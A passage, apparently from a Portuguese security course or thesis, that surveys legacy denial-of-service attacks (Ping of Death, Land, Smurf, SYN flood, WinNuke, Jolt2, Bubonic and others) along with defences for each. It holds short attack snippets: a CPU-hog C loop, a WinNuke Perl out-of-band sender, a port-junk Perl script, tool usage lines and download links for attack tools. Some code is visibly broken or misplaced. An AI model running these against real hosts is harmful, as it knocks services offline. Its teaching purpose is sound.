No entanto estas medidas para evitar o flooding dos computadores poderiam no ser
muito eficazes. Isto porque a maioria dos ataques combinam oflooding com a explorao de
uma determinada vulnerabilidade. Podero ser evitados remediando a vulnerabilidade.
Mantendo os sistemas atualizados, estarem em alerta em relao s ltimas vulnerabilidades,
so algumas das solues. No entanto, e mais uma vez, no servir de grande coisa se o atacante
tiver poder de fogo superior, podendo sempre inundar a ligao.

Ataque de negao de servio, no so intruses, eles no afetam os dados. Estes


ataques, s por eles, no podem roubar o nosso carto de crdito ou os nossos dados pessoais
dos sites, no podem transferir dinheiro do nosso banco online, os atacantes no podem lucrar
diretamente com o ataque. claro que posso atacando uma companhia, fazer baixar o preo das
aes, ou dar publicidade negativa empresa e dessa forma encaminhar potenciais clientes para
a empresa que defendo, mas isso so contas de outro rosrio, tem a ver com as motivaes dos
ataques.

Para uma empresa o maior risco de estar online a perca de reputao, a m imagem. E
para empresas com uma misso crtica de sistemas online, um ataque de negao de servios
pode colocar a vida de pessoas em risco. Imaginem um ataque de negao de servio perpetrado
a uma torre de controlo de um aeroporto!!!

Tipos de ataques DoS Negao de Servio (NdS no soa to bem como DoS)

Alguns dos ataques que irei debruar-me j c andam por algum tempo e j foi possvel
encontrar soluo para eles, no entanto so includos devido aos conceitos bsicos de como os
ataques so despoletados e do uma ideia muito precisa da gama de servios e protocolos que
podem ser usados para realizar um DoS.
68

Ping of Death
Tipo de ataque que passa pelo envio de um enorme pacote ping para a vtima.

Detalhes
Sistemas operativos: a maior parte dos sistemas operativos
Protocolos/Servios: ICMP Ping

Situando-se na categoria de ataques ao nvel da rede contra hosts com o objetivo, de


atingir a negao de servios. O atacante envia um pacote ping enorme para a mquina da
vtima. Como a maioria dos sistemas operativos no sabia o que fazer com um pacote maior
que o tamanho mximo permitido, o sistema operativo ou pendurava ou crashava. Este ataque
operava a nvel da camada 3 do modelo OSI, atravs do conhecimento bsico do protocolo
ICMP (Internet Control Message Protocol). O ICMP utilizado como uma forma de controlar
o estado da rede, exibindo mensagens de erro a respeito de determinados erros na transmisso
dos pacotes.
Notar que os pacotes de ping tem o tamanho normal de 32 bytes. Utilizando o comando:
ping -l 500 10.1.1.20 (no caso MSFT) no caso Linux/Unix seria: ping -s 500 10.1.1.20

Especifico que o tamanho do pacote a enviar de 500 bytes invs do standard 32.
Descrio detalhada
O protocolo TCP/IP permite o tamanho mximo de um pacote at 65536 octetos (1
octeto=8 bits), contendo um mnimo de 20 octetos para o IP header e 0 ou mais octetos para
informao adicional. conhecido que alguns sistemas reagem de uma forma imprevisvel
quando recebem pacotes de tamanho acima do estabelecido. Um host envia mquina um
ICMP_ECHO-REQUEST, e se a mquina estiver ativa envia de resposta um ICMP_ECHORESPONSE.
Os atacantes constroem datagramas ICMP acima do valor standard (que esto
encapsulados no pacote IP). Desta forma envia-se pacotes ping acima do valor de 65536 bytes.

Cdigo fonte do ataque


A maior parte dos sistemas operativos incluem o programa ping, como parte do seu
sistema operativo de rede.
69

Como se proteger?
A melhor forma de proteo atravs da aplicao do ltimo patch fornecido pelo
vendedor do SO. Quase todos os SO resolveram este problema. No entanto se tal no foi
possvel, pode-se bloquear os pacotes com um tamanho acima do especificado nos routers ou
firewall. O site da CERT mantm um tracking das mais recentes vulnerabilidades e fornece
informao detalhada de como se proteger contra tais ataques.

SSPing
Tipo de ataque que passa pelo envio de uma srie de pacotes ICMP acima do tamanho
permitido mas altamente fragmentados.
Detalhes
Sistemas operativos: Microsoft
Protocolos/Servios: ICMP Ping

SSPing utiliza os pacotes ICMP como uma forma de pendurar sistemas ligados
Internet ou numa rede que esteja a correr o Windows, bem como verses antigas do MAC.

Descrio Detalhada
Se uma mquina tentar enviar grandes pacotes pela rede ou pela Internet, existe uma
boa possibilidade de que os Routers que processam os pacotes venha a fragment-los em
bocados mais pequenos por forma a serem corretamente encaminhados pela rede at ao destino.
Quando tal ocorre a mquina de destino recebe os pedaos dos pacotes e depois faz a
remontagem deles. Este processo denominado de fragmentao.
Como a vtima enviou pacotes ICMP acima do tamanho e altamente fragmentados
atravs da rede, a vtima que recebe os pacotes vai tentar fazer essa remontagem, colocar os
fragmentos por ordem para formar o pacote. Pacotes altamente fragmentados exigem que a
stack TCP/IP mantenha o tracking da informao adicional por forma a remontar corretamente
o pacote. Se a stack TCP/IP no foi construda corretamente quando tenta manter o track por
forma a ordenar os diversos pacotes o resultado o denominado memory overflow, que leva a
que a mquina para de responder. Normalmente o atacante apenas precisa de enviar alguns
pacotes para paralisar a vtima. Quando a vtima reinicia o sistema a comunicao perde-se pelo
que o atacante permanece annimo.
70

O programa Jolt e Jolt2 permitem efetuar este tipo de ataques, mais adiante falarei destes
programas.

Cdigo fonte do ataque


Como

o ataque j conhecido

o cdigo fonte encontra-se disponvel

em: http://newdata.box.sk/neworder/xforces/sspingeggdrop.zip

O agressor outro programa que pode lanar diversos ataques de DoS incluindo o
SSPing e encontra-se disponvel emhttp://neworder.box.sk

Como se proteger?
Como este ataque tem impacto a nvel dos programas da Microsoft, bastar fazer
o download dos ltimos Service Packs e patches. Microsoft fez um update stack TCP/IP.

Land Attack
Este tipo de ataque envia um pacote TCP SYN em que o endereo de destino e de origem
so os mesmos bem como a porta.

Detalhes
Sistemas operativos: Maior parte dos sistemas operativos e routers
Protocolos/Servios: IP

O Land attack um programa que permite o envio de pacotes TCP SYN (que a
primeira parte do three-way handshake) em que o endereo de destino e de origem o da vtima
bem como a porta a mesma.

Descrio Detalhada
Os campos que compem o protocolo IP so bastantes no entanto existem alguns chave
para este tipo de ataque:
1. Source Address - endereo IP origem
2. Source port number - porta de origem
3. Destination Address - endereo IP origem
4. Destination port number - porta de destino.
71

Em circunstncias normais o endereo de origem ser o da mquina que faz o pedido


bem como a porta ser a do protocolo utilizado. O endereo de destino a quem efetuado o
destino.
O atacante faz o spoof dos endereos de origem IP e porta e as caractersticas so:

O endereo IP de origem e destino tem os mesmos valores.

O endereo da porta de origem e destino tem os mesmos valores.

Como o protocolo TCP um protocolo orientado para a ligao, que opera a nvel 4,
camada de transporte, logo como fivel requer que seja feito o denominado three-way
handshake para iniciar a comunicao. Quando uma ligao iniciada, utiliza pacotes de SYN
para sincronizar as duas mquinas. Os pacotes de SYN so iguais aos pacotes normais, s que
tem ativo o bit SYN, que indica os primeiros pacotes para iniciar a comunicao.
Quando um atacante utiliza este exploit, envia um pacote mquina para iniciar a
comunicao. O pacote tem como endereo IP de origem e porta de origem o endereo da
vtima, pela tcnica spoofed, o endereo IP de destino e a porta de destino o da vtima.
A mquina da vtima recebe o pacote e responde ao endereo de origem com a porta de
origem. Como o endereo o mesmo do da mquina vtima, o sistema crasha ou pendura pois
entra em roda-livre sem saber o que fazer ao pacote.

Cdigo fonte do ataque:


O cdigo fonte est disponvel em:
http://www.insecure.org
http://neworder.box.sk
http://hackersclub.com

Aggressor e Spike so dois dos programas capazes de lanar diversos ataques de servios
de negao incluindo o land attack. Tambm ojuggernaut, programa capaz de "session
Hijacking" tem includo um gerador de pacotes includo.

Como se proteger?
Mais uma vez a melhor forma de proteo atravs da aplicao do
ltimo patch fornecido pelo vendedor do SO. Quase todos os SO resolveram este problema. No
72

entanto se tal no foi possvel, pode-se bloquear os pacotes spoofed nos routers ou firewall,
bloqueando os pacotes na fronteira, que tenham o mesmo endereo de origem os IP's da rede
interna.

Smurf Attack
Este tipo de ataque envolve um pacote ICMP forjado enviado para um endereo de broadcast.

Detalhes
Sistemas operativos: Maior parte dos sistemas operativos e routers
Protocolos/Servios: ICMP Ping

O Smurf attack uma categoria de ataques a nvel da rede perpetrado contra hosts com
o objetivo de negar servios a hosts. O atacante envia trfego ICMP echo requests (ping) pata
um IP de broadcast da rede utilizando um endereo de origem, IP spoofed, da vtima. Numa
rede multi-access broadcast, pode levar a que algumas centenas de computadores da rede
respondam ao pedido de cada pacote. O que faz com que os computadores da rede bombardeiem
a vtima com resposta ao pedido forjado.
Existe um "primo" chamado de "fraggle" que usa pacotes UDP echo da mesma forma
que pacotes ICMP echo. Atualmente as mquinas mais afetadas por este tipo de ataques so
servidores IRC e seus fornecedores. Este tipo de ataque tem impacto na maior parte de
equipamentos que processam pacotes.

Descrio Detalhada
Para se perceber este tipo de ataques necessrio entender como funciona o
endereamento ICMP broadcast. Um endereo de broadcast um simples endereo IP que envia
com um pacote serve para comunicar com todos os hosts num segmento de rede. Por exemplo,
o IP broadcast para a rede 12.0.0.0 o 12.255.255.255. Este endereo envia ento o pacote para
todas as mquinas da rede 12. Se existir um nmero elevado de mquinas nesse segmento de
rede, utilizando um endereo de broadcast leva a consumir uma elevada largura de banda da
rede, pois o sistema ir gerar pacotes individuais para cada mquina no segmento de rede.
Para comear o ataque, o atacante gera ICMP echo request (o mesmo que o ping),
utilizando endereos de origem forjados e o endereo de broadcast como destino. O
intermedirio recebe os ICMP echo requests, sendo redirecionados para o endereo de
73

broadcast da rede. Causando que o pacote seja enviado para todas as mquinas, no segmento
de rede, com cada mquina a responder aos pedidos e enviando de volta um ICMP echo reply.
Quando todas as mquinas na rede respondem ao pedido da rede, resulta numa degradao de
servio, ou mesmo negao de servios, para aquele segmento de rede dado o elevado volume
de trfego gerado.
Como os endereos de origem IP esto forjados, todas as respostas so dirigidas ao
endereo de origem especificado, que vem a ser o endereo da vtima. Devido ao elevado
nmero de pacotes gerados enviados para o computador vtima, pode causar congesto na rede
e potencialmente colocar a rede inacessvel.

Descrio de variantes
O Fraggle uma variao simples do ataque Smurf. Fraggle funciona da mesma forma
que o smurf, com exceo que usa pacotes de echo UDP em vez de pacotes echo ICMP.
Papa Smurf uma verso mais sofisticada e melhorada da verso Smurf, mas funciona da
mesma forma.

Cdigo fonte do ataque


O cdigo fonte est disponvel em:
Source code: http://www.insecure.org
Agressor: http://neworder.box.sk
Spike: http://hackersclub.com
Aggressor e Spike so dois dos programas capazes de lanar diversos ataques de servios
de negao incluindo o smurf attack.

Amplificadores de Smurf
Um amplificador smurf realizado recorrendo a uma companhia cuja a rede no s
aceita ICMP echo requests enviados para um endereo de broadcast, mas que permite ICMP
echo replies enviados para fora. Como tem vindo a ser um elevado problema em ascenso na
Internet, existe um site que lista as companhias que podem ser usadas como amplificadores de
smurf. Este site http://www.pulltheplug.com.

Fyodor tambm arranjou uma maneira de utilizar o nmap para verificar se a rede pode
ser usada como smurf amplifier.
74

Basta: nmap -n -sP -PI -O smurf.log '209.12.*.0,63,64,127,128,191,192,255'

Como se proteger?
A proteo contra este tipo de ataques pode ser realizada de duas formas: protegendo o
intermedirio, e protegendo a vtima.
As solues para o intermedirio podem ser separadas em duas formas preventivas:
desativa o IP-directed broadcast no router, e configurar o sistema operativo por forma a evitar
responder a pedidos ICMP enviados para o endereo broadcast.
A proteo do lado da vtima, mais difcil de encontrar soluo, pois necessrio
arranjar uma forma de evitar receber um grande nmero de resposta a echo ICMP enviados para
um endereo broadcast.

Solues para os intermedirios


Desativando os IP-directed broadcast no router, posso configurar de forma a negar
trafego broadcast para a rede interna vindo de outras redes. claro que o atacante procura
comprometer uma mquina interna da rede para dessa forma lanar o smurf attack.
Alguns SO podem ser configurados por forma a no responderem a pacotes ICMP
enviados para um endereo IP broadcast.
Mais informao
http://www.cert.org
http://users.quadrunner.com/chuengen/smurf.txt
http://www.phrack.com

SYN Flood
Este tipo de ataque realizado quando o atacante deliberadamente viola a three-wayhandshake, e abre uma elevada quantidade de meias ligaes TCP/IP.

Detalhes
Sistemas operativos: Maior parte dos sistemas operativos e routers
Protocolos/Servios: IP

75

um ataque que tem impacto na maioria dos sistemas operativos pois tem em
considerao a ligao fivel TCP/IP, atravs da abertura de um elevado nmero de meias
ligaes TCP/IP.
Qualquer sistema ligado internet, e disponibilizando uma rede TCP (tais como um
servidor Web, FTP, servidor email, routers, etc.), encontra-se sujeito a este tipo de ataque. As
consequncias deste tipo de ataque pode variar dependendo do sistema no entanto o ataque
baseia-se num procedimento fundamental para o protocolo TCP/IP.

Descrio Detalhada
Quando um sistema cliente tenta estabelecer uma comunicao com um sistema que
fornece o servio pretendido, o cliente e o servidor trocam uma srie de mensagens conhecidas
por o three-way-handshake. Esta tcnica aplica-se a todas as ligaes IP - telnet, web, echo, etc.
O cliente comea por enviar uma mensagem de sincronizao SYN ao servidor. O servidor
recebe a mensagem e de SYN e faz o acknowledge da mesma enviando ao cliente uma
mensagem SYN/ACK. O cliente finaliza o procedimento de estabelecimento da ligao
enviando ao servidor, e aps receber o SYN/ACK responde enviando uma mensagem de ACK.

A potencial ameaa reside no ponto em que o servidor enviou o acknowledgment


(SYN/ACK) de volta ao cliente, mas ainda no recebe de volta o ACK do cliente. este o
significado da meia ligao, o servidor possui em memria uma estrutura embebida onde esto
descritas todas as ligaes pendentes. Como obvio esta estrutura tem tamanho finito, e pode
ser alvo de um overflow, criando intencionalmente um elevado nmero de ligaes pendentes.
A inundao de meias ligaes pendentes fazem com que o sistema no possa aceitar
mais pedidos de ligaes at que a tabela esteja limpa. Normalmente, existe
um timeout associado ligao pendente, pelo que as meias ligaes pendentes vo esgotando
o tempo, e o servidor eventualmente poder recuperar dessa situao.

76

A localizao do atacante mais uma vez difcil de saber, pois as meias ligaes so
realizadas forjando o endereo IP de origem, com endereos IP's de hosts que no
esto online. Desta forma no possvel identificar o agressor.

Cdigo fonte do ataque


Programa fonte:
int WINAPI WinMain(

HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
{ Message( NULL, "Cpu Hog", MB_OK);
SetThreadPriority( GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL);
while(1);
/nunca aki chegar
return 0;
}

Dado que um ataque j bastante conhecido e explorado, o cdigo fonte est disponvel em:
Cdigo fonte do Synflood.c: http://www.hackersclub.com
Cdigo para Synful.c e synk4.c SYN flooders: http://www.anticode.com

Como se proteger?
Atualmente no existe uma soluo consensual para este problema, devido atual
tecnologia IP. No entanto uma correta configurao do router e da Firewall podem reduzir a
probabilidade de um ataque ser prejudicial
Um router ou firewall pode bloquear ou limitar este tipo de ataque, permitindo um
nmero limitado de meias ligaes que podem estar ativas durante um determinado tempo. Por
exemplo, se um servidor apenas consegue gerir 50 ligaes, ento o router dever bloquear s
20 ligaes. No entanto esta soluo no perfeita pois utilizadores legtimos podem ser
bloqueados.
Utilizando o comando netstat possvel verificar o nmero de meias ligaes pendentes
por forma a detectar um ataque.
Linux e Solaris apareceram com uma ideia para evitar estes ataques de SYN flooding,
conhecida por SYN cookies. Funciona da seguinte maneira, depois que a fila do sistema comea
a ficar cheia de meias ligaes, para de armazenar a informao numa fila. E f-lo, ativando
77

uma sequncia inicial de nmero em funo do endereo IP de origem. Desta forma se for um
ataque de SYN flood, no ter sucesso uma vez que a mquina no ser sobrecarregada com
meias ligaes, pois no ficam armazenadas na fila. Se for uma ligao legitima, ento a terceira
parte da ligao concluda, e o servidor verifica o nmero da sequncia, menos um, e corre a
informao atravs da hash. Se eles coincidem, ento a ligao completada, se a
informao hash no coincidir, ento eliminada.

Mais informao
http://www.cert.org
http://www.hackersclub.com
http://www.anticode.com
http://www.cisco.com

CPU HOG
Este tipo de ataque dirigido a crashar uma mquina NT, levando exausto de todos
os recursos.

Detalhes
Sistemas operativos: Microsoft NT
Protocolos/Servios: Application priority levels

uma vulnerabilidade que explora a forma de como o Windows NT escalona as


aplicaes concorrentemente. simples e eficaz. A falha particularmente grave pois no
necessita de um acesso fsico ao sistema, pode ser ativa atravs da execuo de um ActiveX ou
por um plug-in da Netscape. Tornando fcil criar um web site capaz de crashar a vtima.

Descrio Detalhada
No Windows NT, quando uma aplicao corre, tem um nvel de prioridade. Quanto
maior o nmero, maior a prioridade. As aplicaes no Windows podem definir o seu nvel de
prioridade. Aplicaes a correr em modo de Administrador podem definir o nvel de prioridade
at 32, aplicaes com privilgios de utilizador podem definir nveis de prioridade at 16.

78

A vulnerabilidade funciona correndo o programa CPU Hog ao nvel mais elevado de


prioridade disponvel, que o nvel 16 quando em utilizador. O NT ir tentar lidar com o CPUhogging aumentando a prioridade das outras aplicaes. No entanto o Windows Nt apenas
permite aumentar at ao nvel 15. Pelo que todas as outras aplicaes, mesmo o task manager
apenas correm ao nvel 15, a nica forma de recuperar o controlo da mquina fazendo o reboot.
Hogging uma das tcnicas mais conhecidas e antigas de ataques DoS conhecidas.
Muitos SO UNIX permitem ao utilizador definir limites em termos de utilizao do CPU, por
utilizador, limitando qualquer um, a um mximo de 50% dos ciclos disponveis do CPU. Quase
todos UNIX's atualmente, diminuem automaticamente a prioridade do processo de maior
prioridade quando as aplicaes sentem falta de CPU, em oposio ao Windows.
A Microsoft resolveria facilmente este problema pelo aumento da prioridade do Task Manager
acima do 16.

Cdigo fonte do ataque


Este ataque simples de efetuar e pode ser usado recorrendo ao bsico C/C++ ou a um
script Perl. A componente chave do programa a funo SetThreadPriority capaz de colocar o
programa a correr ao nvel 16. Depois de ativada, o programa vai para um loop sem fim, como
se v na instruo while(1). O loop no executa qualquer cdigo, apenas o loop sem fim, pelo
que a nica forma de recuperar o controlo da mquina fazendo o reboot.

Programa fonte:

int WINAPI WinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
{ Message( NULL, "Cpu Hog", MB_OK);
SetThreadPriority (GetCurrentThread (),
THREAD_PRIORITY_TIME_CRITICAL);
while(1);
/nunca aqui chegar
return 0;
}

79

Como se proteger?
Para proteo basta aplicar os mais recentes patches e Service Packs da Microsoft.

Mais informao
http://www.microsoft.com
http://neworder.box.sk

Win Nuke
Este tipo de ataque passa pelo envio de band data a um sistema Windows. Band data
so pacotes que no tem nada a ver com o que o SO estava espera de receber naquela porta
especifica.

Detalhes
Sistemas operativos: Microsoft
Protocolos/Servios: porta 139, NetBIOS

Um ataque a nvel da rede, contra hosts com o objetivo de negar o servio. O atacante
envia band data para a porta 139, NetBIOS, e como so dados que o host no est espera, leva
a que a mquina pendure ou crash.

Descrio Detalhada
Os pacotes IP contm flags por forma a comunicar de como o pacote deve ser tratado
pelos routers ou processado pelos computadores. As mais comuns, so:
- SYN - Sincronizao, usada no estabelecimento da comunicao
- ACK - aceitao, acknowledge.
- URG - urgente, dados urgentes, tais como OOB (out of band data)

O atacante envia vtima, comando especiais TCP/IP conhecidos por OOB para a porta
139 de um computador a correr o Windows. Com um programa como o WIN Nuke o atacante
apenas precisa de digitar o endereo IP da vtima e depois carregar em nuke e j est. Quando
os utilizadores so 'nuked' o seu computador exibe o tradicional ecr azul.

80

Cdigo fonte do ataque

O ataque pode ser lanado recorrendo a um pequeno script em perl. Basicamente o


atacante cria um pacote com OOB e envia para a porta 139

Programa fonte:

#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new (PeerAddr=>"xxx.xxx.xxx.xxx:139"
->send("Adeus", MSG_OOB);

Os programas esto disponveis em:


- Exe: http://www.jaydee.cz/filfree.htm
- Cdigo fonte: http://www.rootshell.com
- Cdigo e Exe: http://www.anticode.com

Como se proteger?
Para proteo basta aplicar os mais recentes patches e Service Packs da Microsoft.
Mais informao
http://www.cert.org
http://hackersclub.com
http://net.security.org
http://www.microsoft.com

RPC Locator
Este tipo de ataque faz com que o CPU da vtima trabalhe a 100%, passando pelo envio
de dados para a porta 135.

Detalhes
Sistemas operativos: Microsoft NT
Variantes: Inetinfo (porta 1031) e DNS (porta 53)
81

Protocolos/Servios: RPCSS.EXE, porta 135

RPC significa Remote Procedure Call e permite ao atacante executar chamadas ao


sistema conhecidas na mquina remota. O servio explorado o RPCSS.EXE que corre 135.
Existem algumas variantes a este ataque que afetam outros servios, nomeadamente o ISS e o
servio DNS.
O RPC um ataque de servio que provoca a utilizao a 100% da CPU quando o
atacante faz telnet porta 135 da mquina da vtima. Dependendo da configurao da mquina
e dos programas que correm podem levar a que a mquina pendure ou trabalhe de uma forma
muito lenta.

Descrio Detalhada
O atacante far telnet <endereo ip da vtima> 135 neste caso estar a ligar-se porta
135 e digitando aleatriamente ou lixo que o servio no esteja espera, o atacante pode levar
a que o sistema fique confuso e utiliza 100 do processador para tentar resolver os pedidos. Nesta
altura o atacante desligar a ligao pois o ataque foi bem sucedido. Para recuperar do ataque
o administrador ter que fazer reboot da mquina.

Variante do ataque
Este tipo de vulnerabilidade tambm se encontra presente se o atacante fizer o mesmo
porta 1031 (servio ISS, inetinfo.exe) ou ao servio DNS (dns.exe porta 53). Em ambos os
casos os servios param de responder e a mquina necessita de ser reiniciada.

Cdigo fonte do ataque


Para efetuar o ataque s necessrio fazer telnet ao servio e digitar caracteres
aleatrios, cerca de dez, e o ataque est feito.
O programa em Perl a seguir, inicia a ligao na porta 135 e envia caracteres aleatrios.
use Socket;
use FileHandle;
require "chat2.pl";
$systemname = $ARG[0] && shift;
$verbose = 1; # diz o que est a atingir
$knownports = 1; #no afeta portas conhecidas
82

for ($port = $0; $port<65535; $port++)


{
if ($knownports && ($port == 53 || $port == 135 || $port == 1031)) {
next;
}
$fh = chat::open_port($systemname, $port);
chat::print ($fh, "Isto tem cerca de dez caracteres ou mais");
if ($verbose) {
print "A tentar a porta: $port\n";
}
chat::close($fh);
}

O cdigo pode ser feito o download em:


http://www.ntsecurity.com
http://www.njh.com
http://www.pancreas.com
http://www.iss.net/xforce

Como se proteger?
Para proteo basta aplicar os mais recentes patches e Service Packs da Microsoft.

Mais informao
http://www.njh.com/latest/9701/970125-01.html
http://www.securityfocus.com
http://www.pancreas.com/wraith/hacking/cpuattacks.htm
http://www.ntsecurity.net/security/100CPU.htm
http://www.microsoft.com

Jolt2
Este tipo de ataque causa um DoS atravs do envio de um nmero elevado de fragmentos
IP idnticos.

83

Detalhes
Sistemas operativos: Windows95/98/NT4/2000, Be/OS 5.0, Cisco 26xx, Cisco 25xx,
Cisco 4500, Cisco 36xx, Network Associates Gauntlet, Webshield, Firewall-1 da CheckPoint
no Solaris, NT, Nokia FW, Bay router (Nortel) firewall, e mais....
O Jolt2 um programa que permite a utilizadores remotos espalhados pelas diferentes
redes, enviar pacotes IP especificamente fragmentados para DoS por forma a atacar mltiplos
sistemas operativos em que colocam o processador da mquina da vtima a 100% por forma a
tentar processar pacotes IP ilegais.
Este ataque que utiliza pacotes IP fragmentados idnticos, provocam que a mquina
remota pendure durante o ataque. A CPU fica exausta a 100% do seu tempo de processamento
ao tentar processar os pacotes IP, leva a que tanto a NIC bem como o GUI fique parado.

Descrio Detalhada
O site http://packetstormsecurity.nl tem a descrio de uma variao deste tipo de
ataque, o Jolt2mod.c. uma modificao simples ao Jolt2 que possui uma limitao em termos
de taxa de processos simultneos. recomendado correr vrios processos do Jolt2 em direo
ao alvo.
de notar como nos ataques anteriores que este tipo, apenas serve para que a mquina
fica inativa durante o ataque, no podendo aceder aos dados ou modificar privilgios, no entanto
uma boa ferramenta para obrigar um administrador incauto a fazer o shutdown a uma mquina
correndo dessa forma um processo previamente instalado por um atacante. Desta forma como
determinados servidores esto configurados para fazerem apenas o shutdown em modo local,
pode-se contornar esta segurana.
De volta a este tipo de ataque, o Jolt2 depende da fragmentao dos pacotes IP, em que
os datagramas so divididos em pequenos pacotes de dados durante o transito. Como o tamanho
mximo de uma frame varia de rede para rede, a fragmentao pode ser necessria pois toda a
arquitetura de rede efetua ou agrupa os dados em grupos chamados de frames. A fragmentao
ocorre sempre que um datagrama IP entra numa rede em que o tamanho mximo da frame
mais pequeno que o tamanho do datagrama. Neste momento, os datagramas so divididos em
fragmentos. O pacote fragmentado viaja separado dos restantes at ao destino. Ento o
computador destino, recebe os fragmentos e faz a re-assemblagem ou remontagem.

84

Nos sistemas operativos da Microsoft o problema aparece porque existem falhas na


forma como o sistema trata os pacotes IP fragmentados. Quando pacotes IP mal fragmentados,
so enviados diretamente vtima, o fator de processamento associado remontagem dos
pacotes IP pode sofre um aumento acentuado, variando a taxa a que os fragmentos so enviados.
Na firewall Gauntlet, os ataques DoS afeta o trfego HTTP. O daemon crasha e faz o dump do
core, evitando desta forma que o proxy faa a poltica de verificao, levando rejeio de
novas ligaes.
Na FireWall-1 da CheckPoint, Jolt2 recorre ao facto de que este tipo de firewall no
efetua a inspeo ou o log de pacotes fragmentados, at que estes sejam reagrupados. Desta
forma a FW-1 forada a gastar os recursos disponveis ao tentar fazer o re-assemble dos
pacotes.
Os dados enviados so 29 bytes (20 IP+ 9 dados), o que valido pois o ltimo
fragmento (MF=0). No entanto o tamanho total reportado pelo header do IP 68 bytes. Este
pacote dever falhar o teste de estrutura, se for feito.

Como se processa
O acknowledgment de um pacote reportando um tamanho maior que o tamanho efetivo,
uma ocorrncia normal. Isto acontece sempre que um pacote truncado durante o transporte.
Como o header de 20 bytes, a quantidade dos dados 48 bytes devido ao tamanho total ser
de 68. Como o offset de 65520, e o tamanho IP dos dados 48 d 65568, resultando que o
tamanho IP ultrapassa o permitido que 65535. Notar, que os dados enviados (9 bytes) no
provocam overflow. Fragmentos so marcados como sendo "last fragments".

Cdigo fonte do ataque


O cdigo do programa pode ser encontrado em http://packetstorm.security.com. O
programa dever ser compilado no sistema operativo em que se destina correr. Fazendo o
comando make jolt2, tendo-se o executvel, para se ter acesso s opes basta fazer './jolt2 -h'
obtendo-se:

./jolt2 <src address> -p <port number> <destination address>

http://packetstorm.security.com/0005-exploits/jolt2.c

85

Como se proteger?
Nas firewalls do tipo stateful packet-filtering, o pacote falha os testes de integridade. Se
a firewall possui uma funcionalidade de re-assemblagem do pacote, ento no dever fazer
o foward de um nico pacote pois no existem fragmentos vlidos que precedam a sequncia
do ataque. Se a firewall mapear fragmentos para abrir as ligaes, dever detectar que no existe
nenhuma ligao aberta para este pacote em particular pelo que o ir abandonar.
Em firewall do tipo proxy, a funo proxy nunca deixar passar este tipo de padro de
ataque para uma rede protegida. No entanto se um proxy firewall estiver a correr sobre um
sistema operativo vulnervel, e no possui a sua prpria camada de rede (caso da MSFT que
fia-se na sua IP stack), o ataque pode causar um DoS contra a prpria firewall, levando a crashar
a prpria rede.
Em qualquer tipo de firewall, se a firewall fizer a re-assemblagem dos fragmentos de
um modo incorreto (mais uma vez por confiar na stack da MSFT por exemplo), ficar
vulnervel ao ataque qualquer que for o tipo de firewall utilizada.
Todos os fabricantes produziram patches para a os seus produtos, sugerindo solues para alm
da adopo dos patches.
No caso da Gauntlet, recomendado negar qualquer ligao porta 8999 da firewall.
Para a CheckPoint aconselhado que o log consola esteja desativado. Microsoft sugere a
instalao de um patch. Todos os router devero filtrar os fragmentos se possvel.
No caso de utilizar um IDS (Sistema Detector de Intruses - Intrusion Detection
System), dever ter a certeza que se encontra atualizado com os ltimos patches. No caso do
Snort existe uma regra especfica para os pacotes fragmentados. No caso de mquinas sensveis,
dever-se- adoptar por um IDS host based (ver o trabalho sobre o Snort) e ser bastante duro no
que respeita aos sistemas comeando por fechar todos as portas no utilizadas.

Mais informao
http://www.packetstorm.security.com
http://www.antionline.com
http://www.sans.org
http://packetstorm.security.com/DoS/jolt2mod.c
http://home13.inet.tele.dk/kruse/jolt2.txt

86

Bubonic
Este tipo de ataque realizado contra o Windows 2000 e certas verses do Linux
(funciona contra um Ultra5 a correr RedHat Zoot). O funcionamento passa pelo envio aleatrio
de pacotes TCP com parmetros aleatrios com o objetivo de aumentar a carga da mquina alvo
por forma a provocar o crash.

Detalhes
Sistemas operativos: Windows 98 e Windows 2000
Protocolos/Servios: IP&TCP
Escrito por: Andy Siske

O Bubonic utiliza a stack TCP/IP para realizar o ataque de DoS. O IP significa que os
dados viajam encapsulados pela internet, um protocolo orientado para datagramas,
conectionless, e que no se preocupa com a ligao. O header opera, no modelo OSI, ao nvel
da camada de network, e contm diversos componentes por forma a assegurar que so entregues
ao host apropriado.
O TCP por sua vez, um protocolo orientado ligao e utiliza uma sequncia de
nmeros de acknowledgment e controlo de fluxo por forma a assegurar que os dados so
entregues de forma correta. O TCP opera a nvel da camada do transporte (modelo OSI), o
header contm as portas de destino e de origem, bem como uma sequncia de nmeros de
acknowledge. Como o TCP no contem os endereos de destino e de origem, o TCP tem que
ser encapsulado dentro do IP datagrama por forma a chegar ao destino. Este por sua vez ainda
encapsulado numa frame Ethernet (no caso de ser uma rede ethernet), que opera ao nvel da
camada Data link do modelo OSI. Tudo isto transmitido em sries de bits que so enviados
atravs da camada fsica do modelo OSI. Recomendo a leitura das especificaes TCP
emhttp://www.rfc-editor.org em que o RFC0791 lida com o IP, enquanto o RFC0761 lida com
o TCP.

Descrio variante
Todos os DoS tem como objetivo a degradao do sistema que est a atacar. A respeito
da stack TCP/IP muitas ferramentas tem sido desenvolvidas ao longo dos anos, tendendo a
explorar as fases do SYN, SYN/ACK e o ACK. Outras implementam tcticas como o envio de
fragmentos mal formados, numa tentativa de crashar o sistema, outros mais rudes, enviam
87

enormes quantidades de dados. Todos exploram as fraquezas do protocolo TCP/IP e das


fraquezas da stack.

Como se processa
O Bubonic uma ferramenta relativamente simples, que ainda d ao atacante a
possibilidade de fazer o spoof do endereo IP com a esperana de no ser detectado, escondendo
a sua identidade no de outro computador.
Uma pesquisa na Internet revelou a existncia de vrios web sites contendo o cdigo fonte do
Bubonic para realizar o download.
Para executar basta:

./bubonic <IP dst> <IP src> <size> <number>

Size: tamanho do pacote que no dever exceder 1024, por forma a permitir extra info
header pelos routers.
number: nmero de pacotes a enviar.

No caso de uma mquina Windows 98, a mquina para de imediato, e mesmo fazendo
o reboot, mal ela se liga rede fica imediatamente parada. A nica forma a impedir ramificaes
do ataque desligando-o da rede ou parar o ataque rede de imediato.
O bubonic transmite um datagrama IP que contem 20 bytes de dados aleatrios. Outra
complicao que o bubonic envia um elevado nmero de pacotes sem se preocupar com as
colises, levando a que mquinas situadas no mesmo segmento de rede, mesmo que no
afetadas pelo programa, vem a sua performance afetada como resultado da elevada taxa de
colises.

Cdigo fonte do ataque


Pode ser feito o download do programa em http://www.antionline.com/bubonic.c
